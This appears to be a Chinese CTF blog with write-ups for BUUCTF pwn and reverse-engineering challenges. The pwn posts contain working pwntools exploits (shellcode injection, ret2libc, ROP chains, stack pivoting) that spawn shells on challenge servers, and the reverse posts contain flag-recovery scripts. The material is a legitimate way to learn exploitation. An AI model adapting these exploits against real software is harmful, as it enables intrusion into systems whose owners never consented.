发表于 更新于 分类于 ， ，

  1. 直接写思路

    • 1.没有直接的/bin/sh
    • 2.没有格式化字符串

    1

​ 缓冲区溢出风险：即使n小于等于50（即dest数组的大小），因为src只是一个字符（1字节），试图读取超过1字节的数据会导致访问越

​ 界。如果n大于50，不仅会访问越界，还会写入超出dest数组范围的内存，导致缓冲区溢出。(有栈溢出可以利用)

  1. 我们可以利用栈溢出写入shellcode,不过得先，输入crashme进入vuln

    2

  2. 计算shellcode所在的位置
    先在vuln找到一个nop的地址
    3

​ 在这个地方下断点，再用gdb,先输入crashme，再查栈 

1
stack 20

​ 4

​ 可以看到输入起始位置0x22而ebp的位置在0x38

​ 远程连接可以直接得到输入的地址,但是地址会变化，偏移不会变化。
​ 5

  1. 思路就是在ebp后写入shellcode

    我们已经知道了输入地址和ebp的距离是0x38-0x22,可以进行填充
    我们还要算出shellcode的写入位置

    6

​ 7

所以shellcode的位置就是s的初始地址：0xffffcc0c - 0xffffcbf0（0x5c-0x40 = 0x1c）

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *

#r = remote('node5.buuoj.cn', 29139)  # 连接到远程服务器
r = process("./ez_pz_hackover_2016")
shellcode = asm(shellcraft.sh())  # 生成shellcode
r.recvuntil("crash: ")  # 接收直到"crash: "
addr = int(r.recv(10), 16)  # 接收10个字节并转换为十六进制地址
# 8是crashme\x00(8个字节)；4是ret(4个字节) 
payload = b'crashme\x00'+b'a' * (0x38 - 0x22 - 8 +4) + p32(addr - 0x1c) + shellcode  # 构造payload
r.sendline(payload)

r.interactive()  # 进入交互模式
  1. 8

发表于 更新于 分类于 ，

无法F5的题目

  1. 只能先用IDA打开，看汇编
    1

  2. 分析一下

    2

​ 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>

unsigned char byte_41EA08[] = { /* ... 需要填充实际值 ... */ };

int main(int argc, const char **argv, const char **envp) {
    char inputBuffer[100]; // 0x64 (100 in decimal)
    
    printf("Give Me Your Flag String:\n");
    scanf("%s", inputBuffer);

    int length = strlen(inputBuffer);
    if(length != 0x27 /* 39 in decimal */) {
        printf("Wrong!\n");
        system("pause");
        return -1; // 或者其它错误处理
    }

    for(int i = 0; i < length; ++i) {
        if((inputBuffer[i] ^ i) != byte_41EA08[i]) {
            printf("Wrong!\n");
            system("pause");
            return -1;
        }
    }

    printf("Right!\n");
    system("pause");

    return 0;
}

大概就是上面编码的意思

  1. 编写脚本解题
    找到byte_41EA08
    4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    	char ida_chars[] =
     {
      0x4D, 0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A, 
      0x4A, 0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20, 
      0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67, 0x00
     };
        char flag[strlen(ida_chars)];
        int i;
        for(i=0;i<strlen(ida_chars);i++){
        	flag[i] = ida_chars[i] ^ i;
    	}
    	printf("flag:%s",flag);
    } 
1
MRCTF{@_R3@1ly_E2_R3verse!}

发表于 更新于 分类于 ， ，

一、二进制保护一共五种

1

ASLR

ASLR：地址空间随机化，proc/sys/kermel/randomize_va_space里的值可以控制系统级的ASLR，使用root权限可以进行修改，有三个值可以设置，具体说明如下。

  • 0:关闭 ASLR。
  • 1:mmap base、stack、vdsopage将随机化。这意味着“.so”文件将被加载到随机地址。链接时指定了-pie选项的可执行程序，其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK，则randomize_va_space 默认为1，此时 heap 没有随机化。
  • 2:在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK，则randomize_va_space默认为2。ASLR 可以保证在每次程序加载的时候自身和所加载的库文件都会被映射到虚拟地址空间的不同地址处。

RELRO

RELRO: 重定位，一般会分为两种情况，即partial relro和full relro，具体区别就是前者重定位信息(如got表)可写，而后者不可写。

Stack

Stack:栈溢出保护，gcc编译程序默认开启，添加编译选项-fno-stack-protector会关闭程序的 stack canary 栈保护。

NX

NX:数据执行保护，即DEP(Data Execution Prevention)，是指禁止程序在非可执行的内存区(non-executable memory)中执行指令。在80x86体系结构中，操作系统的内存管理是通过页面表(pege table)存储方式来实现的，其最后一位就是NX位，0表示允许执行代码,1表示禁止换行代码。一般来说，NX主要是防止直接在栈(stack)和堆(heap)上运行shellcode 代码。 gcc默认开启不可执行栈功能，添加编译选项-zexecstack即可开启栈可执行功能。

PIE

PIE:代码段随机化，具体见ASLR。

发表于 更新于 分类于 ， ，

整数溢出的题型记录一下

  1. 打开IDA，发现有一个新定义的get函数
    1

​ 整数溢出可以用 -1 进行绕过

  1. 在IDA中没有找到shell所以只能通过libc泄露（有printf）

  2. 可以开始写exp了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pwn import *
    from LibcSearcher import *
    #r = process('./pwn2_sctf_2016')
    r=remote('node5.buuoj.cn',29975)
    elf=ELF('./pwn2_sctf_2016')
    offset = (0x2c+4)
    printf_plt=elf.plt['printf']
    printf_got=elf.got['printf']
    main=elf.sym['main']

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(printf_plt)+p32(main)+p32(printf_got)
    r.sendline(payload)
    r.recvuntil('\n')
    printf_addr=u32(r.recv(4))
    print(hex(printf_addr))
    libc=LibcSearcher('printf',printf_addr)

    libc_base=printf_addr-libc.dump('printf')
    system=libc_base+libc.dump('system')
    bin_sh=libc_base+libc.dump('str_bin_sh')

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(system)+p32(main)+p32(bin_sh)
    r.sendline(payload)

    r.interactive()

发表于 更新于 分类于 ， ，

  1. 记录一个传参的pwn题

  2. 比较简单直接把exp，写详细点

    win_function2是win_function1的返回地址，p32(win_function2)有参数，flag + 0xBAAAAAAD分别是win_function2的返回地址和参数，0xBAAAAAAD +0xDEADBAAD分别是flag的返回地址和参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    from LibcSearcher import *
    #r = process('./PicoCTF_2018_rop_chain')
    r = remote("node5.buuoj.cn", 29125)
    offset = 0x18 + 0x04  
    win_function1 = 0x80485CB
    win_function2 = 0x80485D8
    flag = 0x804862B
    payload = offset * b'a' + p32(win_function1) + p32(win_function2) +  p32(flag) + p32(0xBAAAAAAD) +p32(0xDEADBAAD) 
    r.sendline(payload)
    r.interactive()

  3. 还有一种方式就是将返回地址设置为ebp

    1
    2
    #ebp=0x0804859b
    #payload=b'a'*(0x2c+4)+p32(0x8048586)+p32(0x804859D)+p32(ebp)+p32(0xACACACAC)+p32(0x8048606)+p32(ebp)+p32(0xBDBDBDBD)

发表于 更新于 分类于 ，
  1. 用IDA打开
    1

2

​ 3

  1. 现将混淆复原

    4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    	char byte_40E0AA[] = "KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    	char byte_40E0A0[] = "ABCDEFGHIJ";
    	int result; // eax
        char v1; // cl

      for ( result = 6; result < 15; ++result )
      {
        v1 = byte_40E0AA[result];
        byte_40E0AA[result] = byte_40E0A0[result];
        byte_40E0A0[result] = v1;
      }
    	
    	printf("%s\n",byte_40E0A0);
    	printf("%s", byte_40E0AA);
    }

    发现一个问题，byte_40E0A0[]只有10到不来15，所以要改进一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    	char byte_40E0AA[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    	int result; // eax
        char v1; // cl

      for ( result = 6; result < 15; ++result )
      {
        v1 = byte_40E0AA[result];
        byte_40E0AA[result] = byte_40E0AA[result+10];
        byte_40E0AA[result+10] = v1;
      }
    	printf("%s", byte_40E0AA);
    } 
    1
    ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/

  2. 将大小写复原

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    	char v2[] = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9" ;
    	int i,j;
    	char v1[strlen(v2)];
    	for(i = 0;i < strlen(v2); i++){
    		if ( (v2[i] < 97 || v2[i] > 122) && (v2[i] < 65 || v2[i] > 90) )
          {
            
              v1[i] = v2[i];
          }
          else if(v2[i] < 97 || v2[i] > 122){
          	v1[i] = v2[i] + 32;
    	  }
          else
          {
                v1[i] = v2[i] - 32;
          }
      }
    	
    	printf("%s",v1);
    } 
    1
    ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9

    1. 最后用在线网站解码

      5

      1
      flag{bAse64_h2s_a_Surprise}

发表于 更新于 分类于 ， ，

碰到一个栈迁移的题目仔细记录一下

ciscn_2019_es_2

  1. 先用IDA打开
    1

​ 但是它有两个read,于是我们可以利用第一个泄露ebp的内容，利用第二个进行栈迁移，通过system函数执行/bin/sh

 
1
2
3
4
5
6
7
8
9
from pwn import *
r = process('./pwn')
#r = remote("node5.buuoj.cn", 25271)
payload1= b'a'*0x24 + b'b'*4 
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
r.interactive()

​ 2. 动态调试找到s到ebp的距离，先在main的nop下断点

2

3

4

s和ebp的距离是0x38

5

当恢复ebp的备份时，这个备份恰好比原来多了0x10

  1. 栈偏移一般用leave和ret

    1
    2
    3
    4
    5
    leave:
    move esp ebp  将ebp指向的地址给esp
    pop ebp  将esp指向的地址存放的值赋值给ebp
    ret:
    pop eip  将esp指向的地址存放的值赋值给eip

    构造payload2

    1
    2
    3
    4
    5
    6
    7
    8
    payload2 = b'aaaa' #如果一开始将system函数写第一个，那么我们在用leave；ret劫持栈的时候要抬高4字节
    payload2 += p32(system)  #接上system的地址
    payload2 += b'aaaa' #system的返回地址
    payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
    payload2 += b'/bin/sh'
    payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
    payload2 += p32(ebp_addr - 0x38)  #填充成aaaa的地址
    payload2 += p32(leave_ret)

    可以用ROP获取leave_ret的地址
    6

​ 完整exp
​ 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
python
from pwn import *
#r = process('./pwn')
r = remote("node5.buuoj.cn", 27539)
leave_ret = 0x080484b8
system = 0x8048400
payload1= b'a'*0x24 + b'b'*4 
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
payload2 = b'aaaa' #如果一开始将system函数写第一个，那么我们在用leave；ret劫持栈的时候要抬高4字节
payload2 += p32(system)  #接上system的地址
payload2 += b'aaaa' #system的返回地址
payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
payload2 += b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
payload2 += p32(ebp_addr - 0x38)  #填充成aaaa的地址
payload2 += p32(leave_ret)
r.sendline(payload2)
r.interactive()

得到flag
7

ciscn-s-4

和ciscn_2019_es_2一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38 
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload) 
r.interactive()

发表于 更新于 分类于 ，

  1. 先用IDA打开，无main函数，查字符串
    1

  2. 先进入个关键词
    2

​ 解码：

3

4

发现是干扰项

  1. 进入第二个关键词所在函数

    5

​ 在汇编界面，找到v12
​ 6

​ 逆向运算得到v15

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
	char v15[]={0x49,
0x6F,
0x64,
0x6C,
0x3E,
0x51,
0x6E,
0x62,
0x28,
0x6F,
0x63,
0x79,
0x7F,
0x79,
0x2E,
0x69,
0x7F,
0x64,
0x60,
0x33,
0x77,
0x7D,
0x77,
0x65,
0x6B,
0x39,
0x7B,
0x69,
0x79,
0x3D,
0x7E,
0x79,
0x4C,
0x40,
0x45,
0x43};
	int i;
	char result[strlen(v15)];
	for ( i = 0; i < strlen(v15); ++i ){
		 result[i] =v15[i] ^ i;
	}
	printf("%s",result);
}

得到

7

到这里后没什么线索了，就在能再去找了
发现可疑字符串

8

进入函数

9

根据前面的提示，前4个字符是flag，猜测这个函数大概的意思就是v1分别和byte_6CC0A0和byte_6CC0A3的前四个字符异或是flag,就进行第二个循环，先可以编写解题脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(){
	char byte_6CC0A0[]={
  0x40,0x35,0x20,0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 
  0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 
  0x45, 0x5B
};
	int i,j;
	char flag[] = "flag";
	char flag2[4];
	char result[strlen(byte_6CC0A0)];
	for(i = 0;i < 4; i++){
		flag2[i] = flag[i] ^ byte_6CC0A0[i];
	}
	for ( i = 0; i < strlen(byte_6CC0A0); ++i ){
		j = i%4;
		 result[i] = flag2[j] ^ byte_6CC0A0[i];
	}
	printf("%s",result);
} 
1
flag{Act1ve_Defen5e_Test}

发表于 更新于 分类于 ， ，

  1. 用IDA打开

    1

​ 2

  1. 思路基本就是利用栈溢出，执行good_game函数。

  2. 但是有一点，这个汇编可以看到没leave。可以和rip对比一下
    本题无leave

    3

​ rip有leave
​ 4

无leave的话就不用加0x08,直接0x88就可以了

  1. 编写exp

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    #r = process('./pwn')
    r = remote("node5.buuoj.cn", 29720)
    getshell = 0x400620
    payload_1 = b'a'*(0x88) + p64(getshell)
    r.sendline(payload_1)
    r.interactive()

  2. 得到flag
    5

发表于 更新于 分类于 ，

  1. 先用IDA打开分析一下
    1

  2. 哈希值的加密方式可以根据这个表

  3. 先用脚本爆破password1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    import hashlib

    # 目标哈希值
    target_hash = '6E32D0943418C2C33385BC35A1470250DD8923A9'

    # 固定字符串部分
    fixed_str = '@DBApp'

    # 数字范围
    start_num = 99999
    end_num = 1000000

    # 暴力搜索
    for num in range(start_num, end_num):
        # 将数字转换为字符串并与固定字符串拼接，然后计算其SHA-256哈希值
        test_str = str(num) + fixed_str
        hash_object = hashlib.sha1(test_str.encode())
        if hash_object.hexdigest().upper() == target_hash:
            print(f"找到匹配的字符串: {test_str}")
            break
    else:
        print("未找到匹配的字符串")
    1
    找到匹配的字符串: 123321@DBApp

  4. 因为第二个恰好是MD5加密有在线网站

    2

  5. 再运行exe
    3

​ 由此可知会产生一个dbapp.rtf文件，打开

​ 4

1
Flag{N0_M0re_Free_Bugs}